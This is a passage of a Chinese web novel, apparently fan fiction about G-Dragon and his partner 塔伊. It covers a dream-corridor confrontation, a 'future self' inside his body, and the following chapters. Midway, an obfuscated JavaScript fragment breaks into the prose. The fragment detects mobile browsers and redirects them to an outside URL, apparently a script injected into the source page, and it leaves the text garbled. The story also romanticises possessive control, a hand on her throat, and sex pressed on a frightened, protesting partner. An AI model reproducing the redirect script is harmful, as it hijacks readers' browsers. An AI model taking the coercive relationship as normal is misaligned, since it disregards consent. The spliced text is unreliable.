她的沉默,助长了权志龙的兴奋,他说话的声音抖得更厉害了,但情绪却相当亢奋:“是吧,我就 说了,你是假的,塔伊不会这样做的,而且,她没有理由啊。” 权志龙停顿了一秒之后,挤出来一个笑容:“塔伊什么都做的很好,演戏也好唱歌也好,大家都很 爱她,而且,我们也和好了。” 权志龙重复道:“我们和好了,你知道吗?” “那孩子在巴黎的时候,我们互相交换了电话号码,她说有机会的话会回韩国聚一下,会给打电 话,也会给我发信息,也可以见面一起吃个饭什么的。” “你是金优搞得什么把戏吧。” “是什么噩梦的化身或者什么梦游廊的把戏吗?” “现在这里,不是现实,是梦境对吧。” “你们失算了,搞错了,你们根本就不了解那孩子,那孩子不会做这样的事情。” 权志龙长长的出了一口气,笃定的说道: “我们约好,春天的时候,会见面的。” “她不会食言的。” 江留月没有说话。 她倒是不记得,自己说过这种话,但看权志龙如此笃定,她又不知道要怎么反驳对方了。 又或者,她确实没说过这样的话。 因为现在的权志龙,看起来,非常的不正常。 他坐得很直,或者整个人都是僵硬的,声音和情绪听起来都很亢奋,但是,他自己可能都没才察觉 到的是,他已经濒临破碎和崩溃的边缘。 “我见过很多次了。” “我不会上当了。” 权志龙低声说道。 他自己都没有发觉的是,他的脸上已经满是泪水,就像是,他的心已经知道的了答案一般,他疯狂的否认逃避着一切。 当江留月伸出手抓住他的手的时候,他甚至激烈的往后躲了一下,在江留月抓住他手的时候,发出 破碎的呜咽。 “这不是梦啊,哥。” “你不是很明白吗?” 互相触碰的肌肤。 温暖的体温。 潮乎乎的,像是雪水一样融化的眼泪。 权志龙又怔住了几秒,他无措的到处看,像是个不知道往哪里躲避的小孩。 他头好痛,快要裂开一样痛。 他再次被压到了城墙边,这一次,他没在城墙下看到他那张开裙摆,等待他降落的身影。 权志龙低声的呜咽起来: “为什么不肯醒过来呢,塔伊。” “冬天早就过去了。” “我们的约定怎么办呢,塔伊。” 他在梦游廊里反复游荡,在这里遇见过很多江留月的“过去”。 他尝试询问和交流,试图将游荡的魂魄带回江留月的身体,但,他从来都没有成功过。 “这是我的噩梦吗,塔伊?” 江留月用手擦去权志龙的泪水,他精疲力尽的把脸埋在她的手心。 “醒过来的话,一切都能结束吗?” “我要怎么醒过来呢,塔伊?” “我没有办法接受,你让我怎么接受。” “你怎么能这样对我。” 他破碎的呢喃逐渐变得嚎啕起来,漫长的没能见到她的时间,更为漫长的守在昏睡的她身边的时 间,期盼着春日来临,冬日过去的时间里,他恐惧的、破碎的、迷茫的灵魂始终飘飘荡荡。 脸颊、额头、颈侧都是伤口的江留月蹲在大雪里,看着他们之间的回忆。 总是下着大雪的梦游廊里,他们相遇无数次。 权志龙总是试图找到江留月迷失的灵魂,但他怎么都找不到,一次次被‘过去’驱逐的时候,伤痕 累累的江留月总是跟在他身边。 他看到她受伤的样子总是很害怕,于是总是拼命逃避。安慰自己下一次一定可以。 可是,一次一次又一次,梦游廊的时间没有尽头,权志龙也感到精疲力尽。 他知道自己不能停下,于是强撑着想要再去开启一个“房间”。 那个满身是伤的小孩却挡在了他的面前。 “放弃吧,哥。” 江留月的脸颊明明就在他的手心,他却怎么都触碰不到。 江留月对着他笑了一下: “你该让我回家了。” 权志龙始终沉默的看着她,假装不为所动。 其实,他一样非常痛苦。 他的痛苦在于,他其实能感觉到,对方很痛,一直强迫自己无视着对方的痛苦,对自己这样的残 忍,权志龙一样感到绝望。 可他就是不死心。 可他就是不甘心。 权志龙不知道哭了多久,才精神恍惚的缓过神来,他无从分辨现实和梦境,只是瘫坐在那,江留月用手帕为他擦去眼泪。 权志龙看着江留月的侧脸,好一会儿,他才用疲惫的声音说道: “真的很痛苦吗,塔伊?” 江留月沉默了片刻,点了点头。 “……是吗。” 权志龙点了点头。 他低下头,又努力的,忍住泪水,他收 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是不是从头到尾,这只是他不肯醒来的,不断循环的噩梦呢? “好奇怪啊,我一直在做梦,塔伊。” “我总是梦见你,梦里面的你一直都很不开心,总是在流泪,说自己很冷,说自己很痛,说自己喘 不上气。” “我一直一直梦见,快要分不清现实和梦境了。” “真奇怪啊。” “真奇怪啊,塔伊。” “你就在我身边的时候,我为什么看不见你的眼泪,也听不见你的哭声,甚至察觉不到你的颤抖 呢?” “……我当时在干什么?” “……我当时都干了什么?” 啊。 我想起来了。 当时,我很幸福啊。 每天都能看到你,能触摸到你,能亲吻你,能拥抱你,你总是微笑着陪伴在我的身边。 所以我每天每天,都过得很幸福。 幸福到觉得,你也应该这样幸福才对。 我真是个傲慢的男人。 塔伊。 让你忍受着这样的人生,忍受着这样的折磨的我,你为什么还是能总是露出笑容,用双臂拥抱我 呢? 【志龙哥。】 【志龙哥。】 【志龙哥。】 塔伊。 【你真的爱过我吗?你真的知道爱吗?你太狠毒了,塔伊,你真的……真的对我有感情吗?】 【爱情对你来说,就是这样轻易被抛弃的东西吗?】 【我是那么容易被你抛弃的东西吗?】 不是的,塔伊。 我现在明白了。 你不是一下子就抛弃我的。 你是真的很冷很累很痛了很久,才走了很远很远的路,来向我告别的。 即使这样,我也让你忍着痛留在我身边,我太坏了。 “那,回家吧塔伊。” 权志龙摸着怀里人的头发,他不敢去看江留月的脸,怕下一秒自己又忍不住自己扭曲的情绪,哪怕 是留住破碎的灵魂,也要将人扣留在这只会让她觉得痛苦的人世间。 “要穿暖和的衣服,吃好吃的食物,睡舒服的床,要觉得幸福。” “就这样和我告别——————” 啪嚓。 很轻微的一声响。 就连江留月也听到了,像是什么折断的声音。 本来拥抱着她的权志龙,忽然身体剧烈的抽动了一下,然后整个人都往后仰着倒下了。 “……哥?” 江留月愣了一下,她下意识的想要上去扶住对方,但下一秒,她就猛然后撤。 但,已经来不及了。 对方已经闪电般攥着了她伸出来的手,力气之大,她的手掌立刻变得青白起来,用力到几乎要扭断 的程度。 但江留月顾不得痛,她被吓到了,因为眼前的权志龙,脸色青白,却呛咳出一口血来,他喘息着将 血吐掉,眼珠子因为充血而通红。 他费劲儿的喘息着,呼哧呼哧的好一会才勉强发出声音来:“休想——” 他恶狠狠地,用野兽一样的眼神死死地盯着江留月。 “塔伊,你休想————” 权志龙死攥着她的手,将她用力扯到怀里,柔软的身体,江留月发丝飘来蹭到脸颊的些许冰凉感, 她惶惑的眼睛,总算给了权志龙一些实感。 ——他夺回了自己的身体。 权志龙剧烈的抽吸着,他并不知道那个陡然占据自己身体的东西是什么,也许是未来的自己……?总之,昏迷之后醒过来发现自己似乎失去了身体的控制权,但,好在,他依然能“看”和“听”。 什么乱七八糟的穿越? 不重要。 金优跟未来的自己有什么纠缠……? 不重要。 这些都不重要。 重要的是,他才不管那是不是未来的自己,他敏锐的感觉到,对方要替自己说‘分手’。 怎么可能。 想都别想。 总之,他先夺回了自己的身体,手段有些激烈,但好在是自己的身体,所以,除了喉咙还有些痛之 外,似乎没什么别的异常。 然后。 权志龙紧紧地抱住了怀里的珍宝,嘴里带着血腥味,但他并不在乎,他低下头,用染血的嘴唇吻江 留月的额头、鼻尖、脸颊,然后是嘴唇。 他一边亲吻她,一边感受她因为惊吓而微微发抖的身体,冰冷的指尖松开已经被攥得淤血的手腕, 爬上她的喉咙。 权志龙额头顶着江留月的额头,用幽深的眸子死死盯着她,轻笑一声之后,用黏糊糊的声音说道: “你怎么敢丢下我的,塔伊?” “要死的话,就杀了我再死,知道吗?” “要是没有杀了我的勇气,就别想别的了,我到死为止,都不可能松开你。” 江留月不明白发生了什么,只觉得权志龙陡然之间整个人的感觉都不同了,她潜意识觉得不妙,身体不受控制的抖了抖。 她的颤抖,却让权志龙心情甚好的轻笑了起来: “别害怕,塔伊啊。” “没人能伤害你,哥哥在这呢。” 他用长长的手臂将怀里受到惊吓的人包裹起来,手抚摸着她的后脑勺,不允许她后退的,亲吻着她 的嘴唇: 甜甜的,凉凉的,软软的,带着点瑟缩,但,很鲜活。 他浮躁的愤怒的心稍微安分了一些,呼吸也平稳了许多,黏糊糊的语气里带上了一些无可奈何的安 抚和溺爱: “你也不能伤害自己哦。” “哥真的会惩罚你的。” “别让我为了这个生气,好不好?” 50.神曲 50.神曲 一周之内,权志龙两度入院,最近一次甚至连家族演唱会都没能完成,这件事情在网络上迅速发酵,在经过了参加演唱会的粉丝们证实之后,事态开始向着不可控的方向发展了。 杨贤硕此时人在日本正在看日本家族con的会所,他在刷到新闻之后又觉得自己的恐慌症要发作 了,立刻指派安室长到医院来看个究竟,并要求压着权志龙做个详细检查。 安室长倒是立刻来了,可惜,他却进不去门。 拦着他的人是老虎,他也很纠结,但不管怎么敲门,门内都没有传来权志龙许可的声音。 众人一时之间僵持在那。 房间里,江留月用眼睛一直在偷瞄门口不断晃动的影子,希望这种暗示能够被她哥发现,然后大发 慈悲的放过她。 权志龙却并不在乎,他抽了张湿巾在给江留月擦脸,他刚才吻她的时候嘴里都是血,这些血不可避 免的沾上了江留月的脸颊、额头、鼻尖,他的嘴唇触碰过的每个地方,现在有些风干,让江留月一 脸斑驳,像是染了满脸口红印一般。 他动作很轻,说话的声音也很温和: “怎么了,你真的没有什么要跟哥哥说的?” 江留月不吱声。 权志龙被她这死猪不怕开水烫的样子给逗笑了。 他也说不出自己是生气又或者别的什么心情,也并不想去细究,有一种更为烦躁的心情,此刻正在 折磨他。 权志龙是个受了折磨,就要折磨回去的人,他这个人,心眼其实特别小。 “你刚才在我跟前,不是很能说吗?” 他刻意咬住了那个‘我’字,果然,江留月那双黑凌凌的大眼睛中戴上了困惑和探寻的仔细看着 他。 她一定是不能理解权志龙这陡然改变的态度的,甚至能感觉到,对方身上的气场也有所不同了。 但江留月一时之间也想不到‘梦游廊’这种东西,她越发困惑,把所有的心事都写在了脸上。 “……” 权志龙险些不合时宜的笑出声,烦躁的情绪忽然一扫而空,变成了轻飘飘的云朵。 怎么那么可爱啊,他的塔伊。 虽然看起来聪明又精明,总是在意外的地方有着惊人的才华,但,江留月其实是个没办法同时一只手画圆一只手画方的人。 简单来说,她虽然聪明,反应快,但一次只能处理一件事情,而且很容易在一件事情上想得很深。 说白了,专精人才,因此非常容易被带偏。 不对,该怎么说呢。 是个小孩子。 所以树叶掉下来也会大哭一场,但只要嘴里塞一个糖果就能含着泪笑出来。 权志龙就是被她这样纯净而真挚的心无数次治愈。 他有些无奈的想。 她又做错了什么呢,小孩子就是这样容易被转移注意力,就是这样容易被影响,她只是充满了好奇 心,所以试着走错了路罢了。 湿巾逐渐变红,权志龙又换了一张,他已经尽量小心的用指尖擦拭江留月脸上已经有点干涸的血迹 了,但仍然不可避免的把那张白嫩的小脸蛋给搓红了好几道印子。 权志龙用大拇指摩挲着被弄红的地方,心里生出诡异的,愉悦却扭曲的情绪。 江留月一定是因为突发状况而有些害怕的,她的身体一直微微侧着,是有些防御的姿态,但随着他 轻柔的动作,这孩子又不由自主的,完全没发现自己放松下来的凑了过来,甚至在他擦到她下巴的 时候乖乖的抬起脸庞。 好乖哦。 是了。 她懂什么啊,既然什么都不懂,怎么能算她的错啊。 权志龙轻轻地叹了口气,然后丢掉湿巾,把人往自己的怀里抱了抱,然后侧头去亲她。 江留月倒是没有躲开,她的小脑瓜还在想权志龙前后突变的态度和说的话什么意思,只是在他的鼻 尖已经蹭到她鼻尖的时候,低声嘟囔说听见安室长在外面。 “就亲一下。” 权志龙轻声道,大拇指轻轻地摩挲她的下巴,然后用食指在她的嘴唇上敲了两下。 他琥珀色的眸子一直注视着江留月,观察着她的反应。 江留月眨了眨睫毛,然后从鼻腔发出一点哼哼的鼻音,乖乖的微微张开了嘴巴。 他焦灼沸腾的心在这个时候又被拥入冰凉的雪地中,带来了舒适的踏实感。 权志龙心里头彻底舒服了。 他低下头捧着她的小脸,轻柔地吻了她一会儿,她嘴里还有很淡的血腥味,但很乖顺,含含糊糊的 用有些急促的声音叫着:“哥哥,哥哥。” 权志龙当然明白她的意思,因为他刚说‘再亲一下’,她偷偷算好了亲一次的时间,催促他赶紧收 拾一下自己。 但他故意装听不懂,一边亲一边把她往床上压,手从脸庞抚摸到额头再到柔软的发丝,手指拢着她 的头发往后梳,她光洁的额头完全袒露出来,还有那双带着水汽的双眼。 刚才江留月一直没有哭,都是权志龙在哭。 这会儿,她倒是想要哭了。 她哥的肺活量实在让她招架不住,缺氧的窒息感和权志龙抚摸着她温柔的手指都让她忍不住发抖, 手推着权志龙的胸口。 权志龙攥住了她的手贴在自己的心口,这才意犹未尽的松开了她已经有些红肿的嘴唇,江留月赶紧 呼哧呼哧的吸气,看向他的眼神里,疑惑和茫然已经尽数被雾霭的水汽和一些羞恼取代。 权志龙忍不住笑了,又忍不住伸出手指刮了刮她的脸颊。 江留月恶狠狠地瞪了过来:“你、你说就一下!” 权志龙理直气壮:“怎么了,我的嘴又没离开,怎么不是一下。” 江留月被他的无耻惊呆,眼睛瞪得大大的,她的眼圈还是很红,看起来颇有几分可怜。 此时的她,和权志龙透过‘他’看到的样子,已经大相径庭,甚至判若两人了。 那个只是个漂亮但没有生气的人偶,而他怀里的这个,是活蹦乱跳的,热乎乎香喷喷的。 是他所熟悉的塔伊。 是心思单纯,很容易生气,脆弱敏感,但是,只要稍微一打岔,就能分散掉她的注意力,把那些伤 心的事情都丢掉,转眼之间就会露出灿烂笑容的孩子。 权志龙最开始不会养孩子,但养了那么多年,怎么转移江留月的注意力,他简直是驾轻就熟,手拿 把掐。 这样娇嫩的、脆弱又美丽的孩子,一直生活在他保护中的小孩,怎么会走向自我的毁灭呢? 是‘他’做得不够好。 权志龙想。 那是‘他’的问题。 而自己,并不会犯这种愚蠢的错误。 权志龙的心里升起了隐秘的愉悦,也不知道跟谁打了胜仗一样,颇有几分得意。 他又恋恋不舍的亲了一下江留月的脸颊,然后在她反应过来前,又飞速啄一下她的嘴唇:“乖,去 整理一下,我要让安室长进来了。” 江留月果然赶紧跳下了床,几乎是踉踉跄跄的冲进了洗手间然后把门给关上了。 权志龙又觉得她这晃悠悠的样子很可爱,自己笑了两声,从床上起来,将被血染红的被子折起来盖 住,然后随便整理了一下。 他又捡起来倒在地上的输液架,还有刚才被扫在地上的东西也捡起来放在金属盘子里。 做完这一切,他看着自己的手,手背上是江留月贴上的棉花和止血贴。 他短暂的想起来,自己在‘身体’里感受到的一切,能‘听’能‘看’,但是没有其他的感官存 在。 所以拔掉针头的时候并不觉得痛,在发现‘他’和塔伊的对话失去控制的时候,他的潜意识在告诉 他不能这样继续下去,他情急之中似乎抓住了什么东西,然后把那个东西给毁掉了,才回到了身体 里。 ……会是什么? 又是什么导致了这一切? 那个‘他’真的是未来的自己吗? ‘他’和金优的对话……还有很多事情要查清楚。 权志龙想起来那个住在山上的女巫,他知道,对方一定有所隐瞒,也许自己应该抽时间去一趟。 还有金优,那家伙被拖出去的时候,‘他’因为过度震撼而没有注意,而作为‘第三者’却能看到金优看向江留月的眼神和他欲言又止的样子。 大家看起来都有很多秘密呢。 权志龙却并不急切。 他能感觉到,那个‘他’现在微弱的存在着,虽然很微弱很微弱,但是他似乎能察觉到对方的存 在。 也许,他可以找个机会,和‘他’来谈一谈。 人人都有自己的小秘密。 人人都会说谎。 但,人在面对自己的时候,总要坦诚相告吧。 迅速梳理了眼下的状况之后,权志龙心里又踏实了一些,这时候江留月也简单收拾了一下从洗手间 出来了。 她的眼珠子咕噜噜的转,咬着嘴唇小心翼翼的样子。 权志龙瞥一眼就知道她在打什么小算盘。 “……你想跑哪里去?” 在江留月开口之前,权志龙先开口了。 啊。 看看这孩子吧。 眼珠子都瞪圆了,嘴巴都张开了,一副被抓了个现场的样子。 就跟权志龙预想的反应一模一样。 果然,是他养大的小孩没错了。 刚才那死气沉沉的样子,果然是‘他’的问题。 纯废物。 怎么连自己家的小孩都养不好。 又不是什么很不好养的小孩。 又乖,又听话,又单纯,又心软,又傻乎乎的。 到底在搞什么名堂啊。 这样都能养不好。 权志龙心里浮现了微妙的不爽,但眼见江留月张嘴打算说话,就知道这孩子在找借口了。 “男朋友现在病重的厉害,正是需要你的时候,你要干嘛去?” 权志龙不给江留月反应的时间,继续问道。 江留月:“……” 权志龙忽然伸手捂着胸口:“啊,心口疼,感觉都要站不住了。” 他伸出一只手,江留月站着没动,而是用震惊的表情看着他。 权志龙微微一笑,表情还挺柔和的,但是江留月很明显听出了一种叫做‘咬牙切齿’的情绪。 “你这孩子,傻站着干什么?” 他晃了晃手臂。 “来扶着我。” 江留月反应过来的时候,自己已经扶着她哥的一条手臂,然后被权志龙整个人压在肩膀上当拐杖使了。 江留月:“……” 不是她本来打算找个借口溜走的? 她是真的感觉到,现在的权志龙似乎又不是跟她说话的权志龙了,这难道是什么双重人格吗? 可是权志龙并不给她逃走的机会,大手抓着她,如同铁箍一般。 江留月只好硬着头皮迎接安室长。 安室长看到了权志龙好端端站着,整个人就松了口气,看着江留月在旁边陪着,再次大松一口气。 先是确认了一下权志龙现在的状态,又给权志龙安排了一些检查,权志龙本想拒绝,但知道自己身 体出问题的真正原因实在是过于玄幻,于是也就答应了。 自然是检查不出什么问题,除了心率有些不太稳定之外,权志龙的身体指标都挺好的,就连喉咙也 挺好,并没有权志龙想象的出血、撕裂之类的伤口。 所以那口血…… 权志龙一边听着医生解释检查结果一边回忆,他记得自己当时的确是毁坏了什么东西,如果自己没 事儿,那就是毁了对方的……? “志龙哥,你不是吐……” 江留月却还记得,她想要开口,却忽然闭嘴了。 权志龙冰冷的手贴着她的后腰,慢条斯理的滑动着。 她大概也能明白,这个伤害应该不是常理下的受伤,但却难免产生了一些忧心忡忡的情绪。 权志龙一直在用余光盯着她的反应。 他两个多月来的猜测在这一刻逐渐成为笃定的答案。 这的确是他的塔伊。 但,是个,被弄丢了又找回来的塔伊。 她明显多了很多心事,心思更为敏感脆弱,应该是吃了很多苦。 妈的。 搞什么啊。 权志龙心中涌出难以压抑的情绪,他不爽的抿住了嘴唇,有一种说不清道不明的烦躁,甚至看着江留月的时候,他心里涌出破碎的愧疚感。 什么鬼———— 是‘他’在影响? 烦死了。 阴魂不散。 自说自话的说着那种话,把他精心养护的宝贝弄成这个样子,偏偏还不能面对面的给对方一拳。 搞什么啊你……你犯下的错误,为什么要算到我头上啊?! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085515|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >权志龙越想越烦,表情也不由自主的低沉下来,医生和安室长都建议他住院观察一夜,他却断然拒 绝。 “我要回家。” 权志龙说道:“身体没有什么问题的话,在医院也无济于事,我要回家处理一些私事儿。” 他向来执拗,安室长劝了几句也没什么效果,而且权志龙住院似乎会引导舆论往更不好的方向走, 还不如直接出院发通告。 在跟医生反复确定过权志龙的身体没有大碍,甚至整体素质算是同龄人中健康的之后,权志龙如愿 出院了。 回家的保姆车上,权志龙异常沉默,他用手扶着自己的额头,看似在闭目养神,其实他是在试图抓 住那个藏在自己身体里的东西。 不管是什么,这个存在的确在影响他。 这种影响,非常的迅速,他甚至能够感觉到对方在试图去‘听’和‘看’。 这种感觉非常不爽,像是有什么东西在争夺身体的所有权一般。 “志龙哥,你真的没事吗?” 江留月忧心忡忡的跪坐在沙发面前,伸出一只小手抚摸权志龙的额头。 权志龙慢慢睁开了眼睛。 他能确定。 这个家伙并没有离开了。 但,也拒绝沟通,只是一股脑的向他倾泻一些绝望的情绪,他现在简直是阴郁到了极点。 权志龙静静的看着眼前的江留月。 是了。 这双,看起来带着笑,却一直藏着忧郁的眼睛。 是看起来若无其事,其实在公司和家里,都紧绷着,似乎害怕什么,戒备什么的样子。 这两个多月来,那种若有似无的疏离感,让他变得更加焦躁,更想要抓紧她,偶尔也觉得她变得陌 生和不熟悉的的违和感。 原来是因为这样啊。 吃了很多苦,所以变乖了是吗? 权志龙伸出修长宽大的手掌抚摸着江留月的脸颊,他看着眼前的人,心里冒出奇怪的,苦涩的想法。 塔伊,我的宝贝。 你变乖是因为害怕被抛弃,还是在筹划下一场逃离? “……西八。” 权志龙猛然闭上了眼睛。 他发现自己在受到强烈的影响。 对方,的确在‘听’,在‘看’。 好。 好得很。 那么爱听。 那么爱看。 那么喜欢替我做决定,那么爱轻易随便的弄丢我的宝贝是吧。 你是……我吧。 那就好办了。 “……来看看你能忍到什么时候好了。” 权志龙忽然睁开眼睛,对着江留月轻笑道。 江留月有些莫名的看着他,忽然打了个哆嗦,下一秒,她就一阵天旋地转,被权志龙捞着一把抱了 起来。 这两年她瘦的厉害,权志龙却状态极好,抓着她就跟抓猫崽一样毫不费力。 江留月心中陡然生出慌乱,她手忙脚乱的挣扎,磕磕巴巴的说着自己都觉得混乱的话,一会儿说哥哥你刚出院,一会儿说不要不要,一会儿害怕得都开始发抖了。 可当权志龙将她放在柔软的床上,然后用修长的手指把她蜷缩着的身体一寸寸捋直揉碎,她又什么 都想不了了,只剩下权志龙贴在她耳边带着热乎乎气息的缱绻话语。 江留月哆嗦着从自己混乱的思绪中想拉出一些清醒的意识,却还没说两句就被她哥弄得大哭起来。 既然是一手养大的小孩,权志龙对她是彻底的了如指掌,他既知道怎么让她开心,也知道怎么让她 流泪。 江留月浑浑噩噩,一会儿被丢入苛责的地狱,一会儿又被扯进甜蜜的天堂,权志龙今天清醒冷静的 可怕,一寸寸将她拆解成碎片,又一片片将她拼起来。 她哭得嗓子都哑了,手腕都要抬不起来了,最后权志龙将她捞起来喂水喝,她这才清醒了一下,权 志龙又低头亲她,只一下,江留月就嚎啕大哭起来,不断重复着:“我错了,我错了,哥哥我错 了。” “对不起,对不起,呜呜呜哥哥我错了,我再也不敢了。” 权志龙捏住她的下巴,单手爬梳了一下自己汗湿的黑发,大拇指轻轻地碰了碰她被自己咬出齿痕的 嘴唇。 他用低哑的声音,无可奈何的说道: “坏小孩,不是说了不能伤害自己吗?” 甜蜜缱绻的情话,在如今听来,就像是恶鬼的判决一样。 江留月人都吓懵了,她呆呆的看着权志龙,眼泪扑簌簌的落下,嗓子都发不出完整的声音了: “呜、呜呜……呜呜呜……” 她没完没了的哭,胳膊搂着权志龙的脖子,整个人蜷缩到他的怀里瑟瑟发抖。 权志龙知道她差不多到极限了,亲着她的脸颊让她躺在自己怀里,然后手轻轻地拍着她的后背,他 抬手调暗了灯光,直到怀里的人不再发抖,才开始轻声哼唱摇篮曲。 江留月的呼吸逐渐变得均匀,权志龙照例用湿巾为她清理,又仔细擦了脸颊,给她抹上润肤霜,然 后才随便披了件睡袍,独自一人走进洗手间。 这个洗手间距离主卧很远,他还是仔细的关上了门。 暖白色的灯光下,他一身凌乱的痕迹在镜子里照的极为清晰。 权志龙低头给自己点了根烟。 打火机啪的丢在台子上,发出巨大的撞击声。 权志龙缓慢的吐出一口气,看向镜子里的自己,他微微笑了一下,淡淡的烟气缭绕,他对着镜子里 的自己问道。 “我该怎么称呼你呢?……叫‘我’也太奇怪了,要分个名字吗?” 权志龙思考了片刻。 他指着镜子里的‘自己’说道: “你是未来的‘我’,你……来当权志龙好了。” “我来当G-Dragon怎么样?” 电灯发出轻微的嗡鸣。 权志龙看见镜子里的自己眼白微微发红,喉咙里感受到了些许痒意。 权志龙笑了。 这一刻,他才确定,哦,那的确是未来的自己。 “既然,你是我,那么,我们就来开诚布公的谈一下吧。” “那么,第一个问题。” 他将香烟抽尽,看着镜子里,自己敞开的浴袍里肩膀上的血痕和齿痕,向未来的自己缓慢的吐出烟 雾: “权志龙,刚才看的听的,还开心吗?” 51.Who you 51.Who you 也许是有了白天匪夷所思的经历,江留月本该昏沉的睡眠变得格外的不安稳。 她觉得自己一直在做梦,醒过来之后却什么都不记得。 江留月慢慢睁开眼睛,眼前是微弱的暖光,她捂着自己胀痛的头,发出含糊的鼻音。 坐在她旁边看手机的权志龙立刻感应到她的醒来,转手放下手机,先双手掐着她的腋下把人整个抱 入怀中,然后单手搂着她,一只手拿来了床头的水杯。 江留月喝了好几口水,趴在权志龙的胸口迷糊了好一会儿,才听到了隔音极好的窗户外面,近乎轻 不可闻的雨声。 “……下雨了?” 她迷迷糊糊的问。 “嗯,雷暴,今天就在家里吧,公司让我休息几天。” YG昨天晚上连夜发了声明,但粉丝并不多么买账,因此实在不敢让权志龙这两天再去‘上班’了。 权志龙的声音很温和,江留月恍惚了一瞬,简直要觉得昨天发生的一切都是梦中了。 这一切有些荒谬过头了,因此她还认真的思考了一下这个的可能性。 外面下着大暴雨,但房间里却温暖、干爽、舒适,灯光是一个不刺眼的柔和亮度,权志龙的身上带着熟悉的烟草和香水味,江留月露在睡裙外的胳膊贴着他的,有着令人安心的温度。 权志龙将水杯放回床头,玻璃底座发出轻微的‘叩’的一声响,他搂着她的腰,将脸埋在她的颈 侧,有一下没一下的梳理她的头发。 头皮传来令人舒适的抚触感,是江留月最喜欢的,被哥哥摸摸头的力度。 太过平和,太过温柔。 江留月一时分不清,到底昨天是梦境,还是眼下此刻是梦境。 “想什么呢?饿不饿?” 权志龙低下头,就看到她在发呆,长长的睫毛像是蝴蝶的翅膀一样在脸颊上投下阴影,他轻轻地亲 了一下她的睫毛。 蝴蝶的翅膀轻轻扇动,带来酥麻的痒意。 江留月摇了摇头,她转过身,伸出手臂搂住了权志龙的脖子,整个人翻过来扑进他的怀中,然后趴 在他的肩膀上也不说话。 “做噩梦了?” 权志龙摸着她的后背和头发,像是哄小孩子一样,自己手臂往上托了托,让江留月可以靠的更舒服 一些。 江留月还是摇了摇头,她有些茫然,脑子里似乎缺少了什么很重要的信息,昨天发生的一切,荒谬 又不现实,像是真实发生的,又像是她又在胡思乱想。 真奇怪,如果那个是权志龙,那现在这个权志龙又是谁? 为什么会抱起来一样,亲吻的力度一样,抚摸后背的手掌一样,就连嘴唇的温度都一样? 如果是一个权志龙,又为什么会有前后截然不同的态度? 如果是一个权志龙,为什么他们又若无其事的在一起亲吻上床然后一起醒来了? 江留月脑子里有太多问题,她知道自己得寻找答案。 可外面下着雨,热乎乎的床铺上,她此刻只想依偎在权志龙的怀里,听着他熟悉的心跳声,被他的 手掌拍着,几乎要再次入睡。 自她来到2014年之后,困扰她很久的失眠问题就消失了,初始还有那么几次,但权志龙作息混乱,见她还醒着,难免要缠着她做一些情侣之间的事情,一场大汗淋漓,第二场就已经眼皮打架,经常 还没结束就已经闹觉闹得权志龙不得不低声下气哄她至少把流程走完。 江留月有时候配合,有时候不配合,配合的时候,结束的快,不配合的时候,流程被搞得乱七八 糟,反而更拖得她对睡眠的渴望达到巅峰。 一次餍足的睡眠之后,睁开眼睛看见旁边同样沉睡的脸庞,江留月就会让自己的底线一退再退,想 好的疏远,想好的分手,被自己找借口一次次延迟。 当在YG公司看见金优,金优问她,为什么还不分手的时候,江留月的心中涌出过近乎慌乱的心虚。 最后她哄骗自己,等到兵役就好了,等到权志龙去服兵役了,他们自然就分手了,在此之前,她可以让权志龙给自己写很多很多的歌,给很多很多资源,她要把他的价值都给榨干,也算是各取所 需。 她骗来骗去,自己都信了。 她有时候也不知道,心中浮现的焦躁、不安、心虚,到底是因为无法分手,还是因为,这样的日子 距离分手越来越近。 为什么偏偏是2014年呢。 再早一些,他们也许还没有开始。 再晚一些,权志龙和bb就在没完没了的世巡,忙碌的行程是天然的掩护,多少对情侣分手的理由就 是‘因为忙碌的行程’,这样的理由,再合适不过了。 江留月心里头有事儿,一直没说话,权志龙还以为她睡着了,轻手轻脚的又把人从怀里抱出来想要 放回被窝,结果就看到一双黑凌凌的眼睛正一眨不眨的盯着他看。 “……你是谁呢?” 江留月用困惑的语气说道。 权志龙顿了一下,然后轻轻地用食指弹了一下她的脑瓜:“怎么了,你自己的男朋友都不认识了?” 他凑近咬了一口她的脸颊:“那,认识你哥吗?认识权志龙吗?认识GD吗?” 他的语气太过自然轻松,以至于江留月不得不再次怀疑了一下自己的记忆,到底那个对着自己流泪 的权志龙是自己的幻想还是真实发生过的。 她想了想,还是觉得要遵从自己的本心: “你是哪个志龙哥呢?” 她试图寻找合适的形容词:“是‘这里’的志龙哥,还是‘以后’的志龙哥?” 权志龙抿了一下嘴唇:“这很重要吗?不都是我吗?” 江留月还真愣了一下。 是啊,都是权志龙,真的很重要吗? 她犹豫了片刻,点了点头,声音软乎乎的说道:“可是,我是‘以后’的塔伊,我不是……” 权志龙突然伸手捂住了她的嘴。 他淡色的眸子静静的看着她,制止着她说出什么自己不爱听的话。 权志龙口吻很郑重的说道:“你是我的塔伊,是哥哥的塔伊。” “我不会认错你的,宝贝。” “我只需要知道,你就是你,这就好了。” 他摸了摸江留月的头顶,像是小时候那样,无数次的安抚着自己的小妹妹。 江留月又开始有些迷茫,她看着权志龙,不明白他是怎么忽然能接受这一切的,他的反应,平静的有些诡异了。 “塔伊,哥哥知道发生了很多令人伤心的事情。” “可是那些,有些已经过去了,有些还没有来得及,所以,把伤心的事情都忘记好不好?我们以后 会有很多开心的记忆,会把那些空白都填满的,你只要相信哥哥就好了,我们塔伊能做到吧?” 江留月迟疑的点了点头。 权志龙露出了满意的笑容,又亲了一下她的额头作为奖励。 此时门铃响了,应该是外卖,权志龙说点了她最喜欢吃的排骨汤还有猪蹄,说她太瘦了要补一补, 然后捏了一下她的小脸蛋让她赶紧收拾一下出来吃,自己先下了床去开门接外卖了。 江留月看着权志龙的身影离开,坐在床上没有动。 权志龙离开之后,房间的温度似乎一下就降低了不少。 她赤着脚下了床,走到窗户面前拉开了窗帘,外面的天黑沉沉的,乌云密布,瓢泼大雨不断的泼洒 